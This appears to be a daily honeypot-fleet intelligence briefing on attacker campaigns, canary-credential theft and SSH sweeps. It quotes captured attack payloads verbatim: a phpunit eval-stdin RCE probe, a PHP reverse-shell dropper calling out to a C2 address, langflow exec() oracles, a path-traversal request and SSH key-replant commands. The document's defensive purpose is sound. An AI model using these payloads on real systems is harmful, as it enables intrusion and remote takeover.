FLUX FLEET — INTEL BRIEFING №61

Period: 2026-10-23 07:34 – 2026-10-24 07:35 UTC (24h, day 59 of operations)
Sources: 8 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (differential baseline), ru-edge-1 (Russia), lauterbourg-01-ts (Nextcloud/php2shell TLS profile, rebuilt 10-23 15:06Z), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation, 59-day baseline, mint and use sides verified against Tracebit alert logs; hostile bodies quoted verbatim where captured)

BLUF

The two-window zero-use streak broke. Two credentials from 137.23.38.53's hoard ran sts:GetCallerIdentity in AWS and both calls succeeded — the first use since №58, and the consumer is a known mint-side hoarder, not a new buyer. The fleet minted 92 credentials to 34 collectors in the same window. AI-EXEC-HUNT returned after four idle windows: 136.66.182.42 minted 41 credentials on canary-farm-1 in six seconds under 20-plus forged AI-crawler identities, tying the fleet record. The rebuilt lauterbourg-01-ts drew two execution-seeking kits within a day of going live — a new AndroxGh0st-and-plugin-upload kit (2.58.56.23) and Bucklog's phpunit chain with a reverse-shell dropper to a changed C2 port. Elsewhere volume normalized: five of eight nodes ran 56–91 percent below baseline once №60's one-off giants (EXCHANGE-DICT, MEGA-DICTIONARY, the Bochum crawler) left the window, while lauterbourg-01-ts (+95 percent) and canary-farm-1 (+62 percent) carried fleet activity. At the network layer LIBSSH-MASSSWEEP widened to 507 source IPs (+127 day-over-day) even as its session count fell.

Key Judgements

1. Credential consumption resumed through a known hoarder, not a new buyer. 137.23.38.53 minted 3 canary-farm-1 credentials on 10-17/18, ran the №57 SES/IAM probe battery, minted again at 17:33 UTC in this window, and now holds 2 GetCallerIdentity successes from 1 use IP. No call beyond GetCallerIdentity succeeded. (High confidence on the events — Tracebit alert logs; Moderate on follow-through — the pull returns counts, not the use IP.)
2. The rebuilt lauterbourg surface was priced within 24 hours. Bucklog's 185.177.72.49 ran the full chain at 13:55 UTC — NextAuth credential POSTs, a phpunit verify, a dropper that opens fsockopen("185.177.72.3",20020), and langflow execution oracles — and ANDROXGH0ST-KIT's 2.58.56.23 ran a 19-POST plugin-upload battery at 18:26 UTC. The node's stale Kiteworks lure still draws a 401 login, so pre-rebuild target lists circulate. (High confidence — bodies captured; the reverse-shell connection itself is unobservable in this pipeline.)
3. Census collection concentrated in two hosting families while canonical campaigns idled. Techoff blocks replayed the 148+30 backup/sql mini-census across three sensors (195.178.110.137), ran 294 backup-archive events on farm (45.148.10.125), and minted under a new db-secret-scanner/parsing.py tool (195.178.110.22); Feo Prest minted 8 credentials (213.209.159.175/.154). REGISTRY-HUNT, ADMINER-SWARM, OMEGA-SWEEP census, and METADATA-HUNT runners all went quiet or thin. (High confidence — spot queries attribute every spike.)
4. AI-EXEC-HUNT's return looks scheduled, not opportunistic. Same node, same marker path, same forged-UA cloud, rotated multipart boundary, four idle windows between sightings. The 41-credential haul ties the record its own №57 run set. (Moderate confidence — two sightings make a pattern, not a proof.)

Active Campaigns (day 59 status)

AI-EXEC-HUNT (AI-crawler-template census + execution probes + mass minting) ⟳ RETURNED — Hostile, active

• Actors: 136.66.182.42 (Google LLC US), canary-farm-1 only, 05:03–05:04 UTC. Prior sighting: 34.58.160.181, №57. Four idle windows between runs.
• TTPs: 649 events / 297 paths / 57 families in about a minute. 20-plus forged AI-crawler UAs in one burst: Kimi-SearchBot, KimiBot, MoonshotBot, Hunyuan, ChatGLM-Spider, DeepSeekBot, YouBot, DuckAssistBot, Claude-User, ClaudeBot, Claude-SearchBot, ChatGPT-User, GPTBot/1.4, OAI-AdsBot, Googlebot (desktop and Android-mobile), Applebot, bingbot, Bravebot, Amazonbot, Meta-ExternalFetcher/Agent/WebIndexer, GrokBot, CCBot, Baiduspider, cohere-ai. 41 Tracebit mints at /.env between 05:03:07 and 05:03:13 — ties the fleet record. 21 POSTs: multipart JSON-action probes on /admin, /dashboard, /settings (302), /api/auth — body ------r2s1b10479syd5v3\nContent-Disposition: form-data; name="0"\n\n{"then":"$1: (boundary rotated from №57's r2s926xynu59lcd); graphql-introspection ×3 on /graphql, /api/graphql, /v1/graphql (200); POST /app (404); /document.php (webshell-sweep-observed); marker paths /z9x8c7v6b5-debug-trigger-sso.rightabouteverything.show, /cn9dmljmheoztclss0nb, /lt0qksl7ky9omb0xytcb. Decoys answered 200/302 throughout.
• Assessment: the operator wants environment dumps and code execution, and the fleet fed it decoys. The 41-credential haul is hostile-held inventory until Tracebit says otherwise. Watch AWS alerts on the haul and a third runner that would confirm the schedule.

ANDROXGH0ST-KIT (AndroxGh0st probe + WordPress plugin-upload battery) ⚠ NEW — Hostile, active

• Actors: lead 2.58.56.23 (1337 Services GmbH NL); digest cluster 2d3e95b722b5 totals 9 IPs / 369 events, lauterbourg-01-ts only, first seen 10-24.
• TTPs: 597 events / 402 paths / 19 POSTs at 18:26 UTC. POST body 0x%5B%5D=androxgh0st on / and /index.php — the AndroxGh0st parameter probe. Then a 19-POST upload battery in 0.5 s: /wp-admin/admin-ajax.php ×9, /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php, /wp-content/plugins/contact-form-7-db/img/upload.php, /wp-content/plugins/backup-backup/includes/backup-heart.php, /wp-content/plugins/blueimp-jquery-file-upload/server/php/index.php, /wp-json/bricks/v1/render_element — multipart bodies 388–662 B, Content-Type: application/x-php. Decoys answered 200/302/404; 0 mints. The rest is a 364-path config census under rotating forged Firefox/133, Chrome/130/131, Edge/131, and Safari/18.1 UAs.
• Assessment: the actor wants a webshell drop on the fresh PHP surface. Note the node's php2shell-root/php2shell-login tags are the catch-all vhost surface, not this campaign — their top holders are this kit (40), generic scanner 85.137.57.233 (19), and 6 self-scans from the node's own 89.116.25.211.

BUCKLOG-KIT (census + phpunit RCE + reverse-shell dropper) ⟳ — RCE arm on the rebuilt node — Hostile, active

• Actors: 185.177.72.49 (Bucklog SARL FR, ipsum:5 + firehol2) on lauterbourg-01-ts, 13:53–13:55 UTC; census-arm sibling 185.177.72.9 (ipsum:1) on canary-farm-1, 13:13–13:16 UTC. The block held control-1 mints on 09-30 and 10-12.
• TTPs (.49, RCE arm): 239 events, 23 families, 19 POSTs. NextAuth credential POSTs — /api/auth (webapp-form-login), /api/auth/callback (nextauth-credentials), /api/auth/session, /__nextjs_action (nextjs-server-action), WebKitFormBoundary bodies of 232 B — plus /RSC/uoq3x4qnmydpx4u.txt and /RSC/R/nhff3u4ps1ygjp4.txt probes. Then the RCE chain: POST eval-stdin.php body <?php echo md5('phpunit_rce'); ?> (200), then the dropper <?php set_time_limit(120);$s=fsockopen("185.177.72.3",20020);if($s){$p=proc_open (200) — C2 port moved from 20116 to 20020 — then langflow /api/v1/validate/code oracles (200): {"code":"@exec(\"raise Exception('abp_29pdi6cvy9ug')\")\ndef _f(): pass"}, {"code":"pass"}, {"code":"@exec(\"__import__('time').sleep(3)\")\ndef _f(): pass"}. Closed with /login kiteworks-login-attempt 401 against the lure the node no longer runs.
• TTPs (.9, census arm): 240 events, 41 families, 19 POSTs, curl/8.7.1. /wp-json/gravitysmtp/v1/tests/mock-data probe, /.env mint ×3, /.aws/credentials walk, /..\..\..\..\..\..\var/log/apache2/access.log traversal.
• Assessment: the kit's POSTs now seek execution on the rebuilt node about 23 hours after the 15:06Z redeploy. Every stage got a decoy 200. The port change shows a live operator maintaining the kit; whether the reverse shell connected is unobservable here.

CREDENTIAL-DRAIN (mint → use pipeline) ⟳ — USE RETURNED — Hostile, active

• Actors: mint side 92 Tracebit credentials to 34 collector IPs (96 digest issued rows: canary-farm-1 63, ai-devbox-1 17, control-1 11, ru-edge-1 5). Use side: 2 credentials, 2 events, both sts:GetCallerIdentity SUCCESS, 1 use IP — drawn from 137.23.38.53's hoard (4 mints since 10-17 20:22; the SES-QUOTA-PROBE mint side).
• TTPs: mint failures 21×400 (farm 12, aidev 3, control 3, ru-edge 3 — burst-pacing class) plus 1 tracebit-error row on aidev (167.71.175.236, /.env, status 404 — the class's second window; №60's rows carried no HTTP status). New collectors this window: the coordinated pair 130.12.180.163 (aidev) and 130.12.180.170 (farm) at 14:39:00/14:39:06 UTC under identical Chrome/147; 159.26.101.138 (4 mints across 2 sensors, Chrome/81); 87.88.231.212 (authorized-live-verifier/1.0, then authorized-hit-verifier/1.0); 178.239.198.106 (Chrome/86); 45.148.10.5 (Chrome/128); 147.182.149.75 (l9scan). REGISTRY-HUNT runners minted roughly 20 credentials across 17 DigitalOcean IPs.
• Assessment: first use since №58's 156.225.26.90, and identity-only so far. The pull shows counts, not the use IP — a Tracebit detail pull is the first next-cycle task.

REGISTRY-HUNT / LeakIX (l9scan template) ⟳ FLEET-WIDE — Hostile, active

• Actors: digest cluster 3e1c5eb879e7 (tarpit stage): 125 IPs / 872 events across 7 sensors. Per-node walks carry the №59 split quirk — b07c7bb207b4 (aidev, 10 IPs / 410), c540fc530a5a (farm, 7 / 273), 850993125b15 (farm, 6 / 328) are one campaign. Mint wave: 134.209.25.199 (×2), 64.225.75.246 (×2), 157.245.36.108 (×2), 165.22.235.3, 157.245.113.227, 46.101.111.185, 64.226.65.160, 165.22.34.189, 206.81.24.74, 165.227.84.14, 138.68.144.227, 138.68.86.32, 128.199.182.55, 46.101.1.225, 147.182.149.75, 206.81.24.227, 64.227.70.2 — about 20 of the window's 92 credentials across 17 DigitalOcean runners.
• TTPs: unchanged ~25-family walk (tarpit → WebLogic → Confluence → WHM/cPanel → docker-registry enum) under two l9scan UA variants (2.0.632323… on the aidev side, 2.0.234313… on the farm side).
• Assessment: the brand's mint-per-visit economics ran at their widest coverage this cycle. AWS-side draws after the window close remain the pattern to beat.

LIBREDTAIL-KIT (phpunit/php-cgi RCE chain) ⟳ — forge arm fleet-wide, honest arm idle — Hostile, active

• Actors: cluster 7e61a9500d8b: 11 IPs / 539 events on 6 sensors, with lauterbourg-01-ts legs driving that node's cmd-injection-php-cgi-rce 21 (4.2×). The honest-UA libredtail-http arm had no sighting this window.
• TTPs: unchanged chain — cgi-traversal-rce-command → cmd-injection-apache-cgi-shell → cmd-injection-php-cgi-rce (/bin/sh, /hello.world, /, /index.php).
• Assessment: the forged arm holds its daily cadence; the honest arm paused one window. A captured dropper body remains the escalation signal.

CREDSWEEP family (Techoff census legs) ⟳ — Hostile, active

• Actors: 195.178.110.137 (Techoff Srv BG) — 1,176 events across control-1, ai-devbox-1, frantech-ts; replayed the exact 148 backup-archive + 30 sql-dump mini-census (control 21:06, aidev 14:20, frantech 12:49 UTC). 45.148.10.125 (Techoff NL, firehol2) — farm 354 events / 177 paths including backup-archive 294 (the 37.5× spike) plus a 6-sensor, 359-event pass. 45.148.10.5 — control-1 mint (Chrome/128). 195.178.110.22 — NEW TOOL db-secret-scanner/parsing.py: 86 env-production events and 2 mints (06:41, 06:47 UTC) on farm, with a TypeScript-source census (/env.ts, /db.ts first-seen). Canonical operator 45.148.10.238 stayed absent.
• TTPs: census shapes unchanged. .22's self-labeled parser is a second source-file tool class after №60's gitdump/1.0 (195.178.110.68).
• Assessment: the block's census tempo rose while the canonical name idled; the family keeps its minutes-long, high-path bursts and mint-per-run economics.

WP-LOGIN-BRUTE ⟳ — quiet — distributed residential farm leg: 81 wp-login-credentials POSTs (4.9×), one per residential IP, 0 mints. Growth alarm stays at 200 pairs.

Light watchers this window

• 130.12.180.x — NEW block. .117 ran a 2-node census (netcup-ts 180 events / 72 paths; lauterbourg-01-ts 167 / 66, incl. first-seen /shibboleth/.env); the coordinated pair .163 + .170 minted on aidev and farm at 14:39 under identical Chrome/147; singles .165/.166/.168 touched nodes once. A synchronized two-IP mint pair is new behavior — promote on a repeat.
• 87.88.231.212 — 2 ru-edge mints under authorized-live-verifier/1.0 and authorized-hit-verifier/1.0 (18:48, 19:00 UTC). Verifier-labeled tooling that mints canaries; watch for AWS-side validation.
• 176.65.148.23 (Pfcloud UG NL, firehol2) — 457 events on 4 sensors; canary-farm-1 453 events / 30 paths spread 10-23 06:27 → 10-24 06:20 — the slow git-object walk class from №60 continues.
• Benign-labeled first-seen UAs — WebMap/1.0; research scanner and db-secret-scanner/parsing.py (farm), FlowIQLabsBot/1.0 with a live info URL (ru-edge), Mozilla/5.0 (compatible; research) and PHP-LAN-Audit/1.0 (lauterbourg), iPhone Safari 18.7 forgeries (lauterbourg). Shallow journeys; the two honest-looking research UAs get the benign read, the forged iPhone pair does not.
• 45.138.12.35 (Tc Datacenter LT) — the CVENGINE-KIT /24's first ru-edge appearance: 384 events / 372 paths in about a minute at 03:46 UTC, including every one of ru-edge's 264 fake-git-miss events (15.1×) — a real-hash git-internals walk the decoy did not serve. Kit POST behavior not repeated; watch for a second leg.

Standing actors (persistence check)

• 213.209.159.175 (Feo Prest SRL DE, ipsum:3 + firehol2) — minted in every recent window: 4 in-window credentials on control-1 (38/6d), 155 events / 49 paths, UA forgeries this run included Safari/602.3.12, MSIE 10 MALNJS, and an Android LG-E612g leg.
• 213.209.159.154 (Feo Prest) — 4 in-window credentials (12/6d), 600 events across 4 sensors including netcup+sponge top-talker legs (340 + 170).
• TOKEN-CRAWLER pool 45.198.224.x — .125 touched all 8 sensors again (68 events), 0 mints.
• 94.154.43.x pool (OMEGA-SWEEP's probe pool) — .185/.186/.187/.188/.189 on 8 sensors each, .99 on 7, .101/.60 partial; 27–54 events per IP, pool-probes-only pattern, 0 mints.
• Benign fixed-cadence probers — 89.248.172.33 (7 nodes, 334 events), 93.174.93.12 (6 nodes, 378), Censys 71.6.155.70 (8 nodes, 8), 34.140.3.155 (6 nodes, 28), osint-scanner/1.0 45.139.104.35, 195.182.16.23.
• Pfcloud 204.76.203.7 — light 6-sensor walk (13 events); the MALWARE-DICT loop (.18) stayed idle a third window.
• Bochum softsec crawler (185.73.23.161/.162/.168) — ABSENT — first miss after eleven consecutive windows; its 6,028-event base explains most of netcup-ts −80 and sponge-01-ts −88 percent.

Absent or paused

EXCHANGE-DICT and JNDI-FIELD-INJECT (no second sighting of either ru-edge crew), MEGA-DICTIONARY (frantech −91 percent), WEBSIPHON (second absence), KEYDROP-SCANS, CLAUDE-CRED-HUNT, METADATA-HUNT named runners, CVENGINE-KIT kit POSTs, CONFIGBUNDLE-KIT, CENSUS-284, ADMINER-SWARM (both pools absent — first miss since registration), 23.234.78.109, WP-FORM-BRUTE, GOWEB-PENTEST, XMLRPC-BRUTE, NIGHTAGENT, OMEGA-SWEEP census operators (.243/.248 absent), CREDSWEEP canonical 45.148.10.238, GO-SPRAY-SWEEP (network layer).

Network-layer recon (Arkime) — 2026-10-23 07:34:00 → 2026-10-24 07:35:00 UTC

Fingerprint field ssh.hassh, destination port 22 · 95,089 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 61,671, bahrain-sponge-01-ts 43,686, sensor:bahrain-sponge-01-ts 43,686, contabo-sponge-02-ts 19,712, proxy 19,712, sensor:contabo-sponge-02-ts 19,712

Flagged sweeps (1) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 4,108 sessions from 507 source IPs across 240 networks in 63 countries, port 22, avg 4,888 B/session. Networks: AS132203 Tencent Building, Kejizhongyi Avenue, AS8075 Microsoft Corporation, AS4766 Korea Telecom, AS135377 UCLOUD INFORMATION TECHNOLOGY HK LIMITED, AS16276 OVH SAS. Busiest sources: 220.118.173.234, 164.52.105.37, 5.89.75.194, 185.158.22.150, 50.6.228.85. Last 7 days: 10-18 324 IPs, 10-19 418 IPs, 10-20 402 IPs, 10-21 327 IPs, 10-22 314 IPs, 10-23 443 IPs, 10-24 250 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Recon reading. LIBSSH-MASSSWEEP keeps widening its pool: 507 source IPs / 240 networks (+127 / +42 day-over-day) while sessions fell to 4,108 (−1,485) — more addresses, fewer sessions each. GO-SSH-SWEEP reclassified from single-source to distributed: 56 IPs (+2) / 19 networks, 20,889 sessions (−1,665). GO-SCATTER-SWEEP held single-source: 32 IPs (−2), 20,121 sessions (−110). GO-SPRAY-SWEEP missed again — its on/off cadence continues. Unflagged 2ec37a7cc8da… (1,863 sessions / 16 IPs / 3 networks) and 4e066189c3bb… (22,207 sessions / 12 IPs, control-1's top fingerprint) stay below the dispersed threshold on spread; e54ef3ec… shrank to 19 IPs. One new fingerprint today: a4670512a29b08a85a19835ae691e3f9, 5 sessions from 1 source, banner ssh-2.0-openssh_8.9p1 ubuntu-3ubuntu0.14 — below thresholds, watch only. Session tags drifted again (contabo-sponge-02-ts + proxy, 19,712) — the tag-repair item stays open. No new registry entries: the only flagged sweep is LIBSSH-MASSSWEEP, already registered; recon-names.tsv is unchanged.

Canary credentials

Summary

2 Tracebit alert(s) fired in the window (2 use events across 2 credentials). Fleet sensors minted 92 credentials to 34 collector IPs; 2 credential(s) reached AWS. Use outcomes: 2 success. 2 call(s) succeeded: GetCallerIdentity. Successes leak identity at most; treat any success beyond sts:GetCallerIdentity as a finding.

Mint → use funnel

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

• 136.66.182.42: 41 mints, 2026-10-24 05:03 → 2026-10-24 05:03
• 34.58.160.181: 41 mints, 2026-10-19 16:03 → 2026-10-19 16:03
• 213.209.159.175: 38 mints, 2026-10-17 10:37 → 2026-10-23 15:04
• 45.148.10.171: 23 mints, 2026-10-17 06:51 → 2026-10-22 00:53
• 37.60.226.187: 17 mints, 2026-10-20 02:15 → 2026-10-21 21:45
• 213.209.159.154: 12 mints, 2026-10-19 06:24 → 2026-10-24 01:01
• 143.244.165.105: 9 mints, 2026-10-21 18:02 → 2026-10-23 21:39
• 80.94.92.126: 9 mints, 2026-10-17 10:09 → 2026-10-20 10:36
• 217.60.198.111: 6 mints, 2026-10-21 03:45 → 2026-10-21 03:54
• 23.234.78.109: 6 mints, 2026-10-17 20:53 → 2026-10-20 14:00
• 80.94.92.65: 6 mints, 2026-10-19 06:23 → 2026-10-21 09:39
• 45.138.12.51: 5 mints, 2026-10-18 13:12 → 2026-10-22 07:02
• 104.251.180.112: 4 mints, 2026-10-17 14:48 → 2026-10-21 12:15
• 159.26.101.138: 4 mints, 2026-10-23 16:04 → 2026-10-23 16:21
• 165.227.102.187: 4 mints, 2026-10-21 16:37 → 2026-10-24 03:52
• 185.177.72.64: 4 mints, 2026-10-20 01:57 → 2026-10-20 08:44
• 206.81.24.74: 4 mints, 2026-10-20 20:43 → 2026-10-23 21:05
• 45.148.10.125: 4 mints, 2026-10-23 01:44 → 2026-10-23 04:39
• 64.227.70.2: 4 mints, 2026-10-17 19:57 → 2026-10-24 05:42
• 64.89.163.14: 4 mints, 2026-10-17 22:50 → 2026-10-21 10:53
• 104.64.127.170: 3 mints, 2026-10-17 07:08 → 2026-10-17 11:29
• 128.199.182.55: 3 mints, 2026-10-17 03:52 → 2026-10-24 04:15
• 138.68.144.227: 3 mints, 2026-10-18 20:21 → 2026-10-24 01:39
• 140.245.97.208: 3 mints, 2026-10-20 23:51 → 2026-10-21 05:57
• 150.228.105.248: 3 mints, 2026-10-20 17:58 → 2026-10-20 18:02
• 157.230.19.140: 3 mints, 2026-10-17 19:58 → 2026-10-19 20:25
• 157.245.36.108: 3 mints, 2026-10-18 19:57 → 2026-10-23 21:05
• 185.177.72.17: 3 mints, 2026-10-18 22:42 → 2026-10-18 22:42
• 185.177.72.9: 3 mints, 2026-10-23 13:14 → 2026-10-23 13:14
• 206.81.24.227: 3 mints, 2026-10-18 20:01 → 2026-10-24 04:32
• 64.23.218.208: 3 mints, 2026-10-17 03:52 → 2026-10-17 20:42
• 72.167.41.202: 3 mints, 2026-10-21 17:47 → 2026-10-21 18:25
• 85.155.14.16: 3 mints, 2026-10-18 03:19 → 2026-10-20 17:27
• 93.152.221.96: 3 mints, 2026-10-21 23:57 → 2026-10-22 04:22

Attribution notes. The window's one use-side fact belongs to 137.23.38.53: 2 of its 4 held credentials produced sts:GetCallerIdentity successes from 1 use IP, and this pull does not print the use IP's address. The largest new hoard is AI-EXEC-HUNT's 41-credential haul, at zero observed use at pull time (+~2 h after the mint burst). REGISTRY-HUNT's runner wave took about 20 credentials. The silent zero is clean at the pull time; Tracebit remains the only witness after the cutoff.

Fleet Observations

Canary economics. 96 digest issued rows across the 4 canary sensors (canary-farm-1 63, ai-devbox-1 17, control-1 11, ru-edge-1 5) — 92 Tracebit credentials to 34 collectors after dedupe, 2 used (both GetCallerIdentity successes). Mint failures: 21×400 Bad Request (farm 12, aidev 3, control 3, ru-edge 3 — the burst-pacing class) plus 1 tracebit-error on aidev (167.71.175.236, /.env, status 404 — second window for the class). No 401s. All mint labels "aws". All-time issued-row counter: 2,922 (visuals run).

Attribution and TLS posture. XFF counters: any-XFF 2,354 / multi-entry 0 / present-but-ignored 488 / single-entry mismatch 0 — a clean window after №60's JNDI row. TLS split: canary-farm-1 1,070 HTTPS / 2,575 HTTP; ai-devbox-1 387 / 1,641; lauterbourg-01-ts 409 / 2,235; frantech-ts 8 / 1,071; control-1, netcup-ts, ru-edge-1, sponge-01-ts all-HTTP. Top Host headers stayed the nodes' own IPs plus the vhosts: sso.rightabouteverything.show 1,437, inference.fapthropic.com 778, and the rebuilt node's cloud.wafflehouseindex.us 743 — the new Nextcloud-bait vhost already outdraws the node IP's share of HTTPS legs.

control-1 discovery velocity. Day 41 (first event 2026-09-12 07:59 UTC): 1,369 events from 152 unique IPs — mid-band after №59–№60's arrival-driven records (178, then 108). No discovery-shaped day.

Volume moves and causes. canary-farm-1 +62 percent (3,645): AI-EXEC-HUNT's 649-event minute, 45.148.10.125's 354, Bucklog .9's 240, the REGISTRY-HUNT farm legs, WP-LOGIN-BRUTE's 81 POSTs. lauterbourg-01-ts +95 percent (2,644): 2.58.56.23's 597, Bucklog .49's 239, the tarpit spikes (tarpit-module 418, tarpit 70, tarpit-disconnect 57), and 130.12.180.117's 167. The five drops are absence, not retreat: ru-edge-1 −90 percent (EXCHANGE-DICT's 69,601 gone), frantech-ts −91 percent (no MEGA-DICTIONARY replay), netcup-ts −80 and sponge-01-ts −88 percent (Bochum crawler absent), control-1 −56 percent (№60's census arrivals did not repeat).

Result-tag spike attribution. Every spike has a cause. ru-edge-1 fake-git-miss 264 (15.1×) = 45.138.12.35 entirely. farm backup-archive 300 (37.5×) = 45.148.10.125 (294) + light census legs; farm env-production 294 (3.5×) = the census crowd (195.178.110.22 86, 136.66.182.42 69, 137.23.38.53 51, 45.138.12.88 41, 93.152.209.6 24, 213.209.159.154 20); farm sql-dump 64 (5.3×) = the same census crowd; farm wp-login-credentials 81 (4.9×) = one POST per residential IP. ai-devbox-1 backup-archive 148 (infx) = 195.178.110.137 (148); aidev sql-dump 30 (6.0×) = .137. control-1 backup-archive-error 148 (12.9×) and sql-dump-error 30 (5.0×) = .137's replay — the identical 148/30 split, surfacing as -error variants against control's decoys. lauterbourg php2shell-root 192 / php2shell-login 122 (infx) = the catch-all vhost tags (top: 2.58.56.23 40, 85.137.57.233 19, 6 self-scans from 89.116.25.211); openapi-spec-json-skeleton 22 (9.2×), webshell-probe 40 (3.2×), and the tarpit spikes = the ANDROXGH0ST kit plus generic scanner traffic; cmd-injection-php-cgi-rce 21 (4.2×) = LIBREDTAIL's forge arm.

Digest quirks. First-seen timestamps again cluster at sync arrival (03:16–03:32) — inventories, not timelines. The per-node campaign-split quirk held (REGISTRY-HUNT appears as three signatures). Spot totals run above digest cells on the aligned window (farm 3,745 vs 3,645). The fleet-24h histogram printed EDT-labeled hours under the hour_utc header again.

Fleet-side changes this cycle. flux-visuals.py CHAINS: AI-EXEC-HUNT status idle → active with the return note; BUCKLOG-KIT and CREDENTIAL-DRAIN notes prepended; new ANDROXGH0ST-KIT entry. TALKER_CAMPAIGNS gained 9 entries. recon-names.tsv unchanged — no new flagged fingerprints. style-editing skill unavailable on this host; the technical-prose skill and its banned-phrase check stand in. Visuals written once: flux-fleet-visuals-2026-10-24.html (4.77 MB).

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

Funnel: 582 sources sent credentials → 437 got a shell (75 percent) → 354 ran a command (81 percent of shell-getters, 61 percent of sources). Event level: 21,403 credential attempts → 5,422 accepted logins → 7,260 commands (134 percent of accepted logins). Telnet (commodity IoT botnets): 733 attempts.

New commands: 0 of 75 distinct. The recurring set moved in volume: 103.241.232.99 ran echo -e "\x6F\x6B" 3,000 times again — the same loop marker at the same volume as №60. The uname -s -v -n -r -m + uname -m | awk survey pair ran 661 events each from 109.160.32.105 and one sibling. The .ssh replant pair held: cd ~; chattr -ia .ssh; lockr -ia .ssh at 403 events / 317 IPs, the key-replace chain at 352 / 279. 193.32.162.84 and 5 siblings ran the export PATH=… uname-survey pair at 207 events each form. The nvidia-smi GPU survey ran 190 events from 4 IPs led by 179.43.153.2.

Credential concentration: 17,593 distinct pairs offered, 0 new. Top pairs: 345gs5662d34/345gs5662d34 386 attempts, root/3245gs5662d34 331, root/123456 67, pi/raspberry 56.

Gaps / Next Collection

1. Identify the use IP behind the 2 GetCallerIdentity successes. The canary section prints counts only — pull Tracebit alert detail for 137.23.38.53's 2 credentials, then check for any call beyond GetCallerIdentity.
2. AI-EXEC-HUNT's 41-credential haul. AWS alerts on the haul; a third runner sighting would confirm the schedule read; boundary-token rotation is the tracker.
3. ANDROXGH0ST-KIT follow-through. A second IP or node, one captured upload body that the decoys answer with command output instead of 200, and the other 8 IPs of cluster 2d3e95b722b5.
4. BUCKLOG-KIT's C2 move. 185.177.72.3:20020 — connection outcomes are unobservable here; capture a full 232 B NextAuth body and watch for the dropper on a second node.
5. New tool identities. db-secret-scanner/parsing.py (195.178.110.22), the authorized-*-verifier/1.0 pair (87.88.231.212), and the 130.12.180.x block — ASN/whois and a second sighting each.
6. Arkime tag drift. contabo-sponge-02-ts / proxy labels (19,712 sessions) — an ops-repo fix, not a briefing action; open since №59.

Digest: /data/flux-logs/reports/flux-digest-2026-10-24.md
Recon digest: /data/flux-logs/reports/flux-recon-digest-2026-10-24.md
Visuals: /data/flux-logs/reports/flux-fleet-visuals-2026-10-24.html
Plain language: /data/flux-logs/reports/flux-fleet-intel-briefing-plain-2026-10-24.md

Watch next cycle: (1) the use side — the IP behind 137.23.38.53's 2 GetCallerIdentity successes, and any AWS alert on AI-EXEC-HUNT's record-tying 41-credential haul; (2) the rebuilt lauterbourg-01-ts — a second ANDROXGH0ST-KIT or BUCKLOG sighting, or one upload POST answered with command output; (3) LIBSSH-MASSSWEEP's pool, which grew to 507 source IPs while its session volume fell.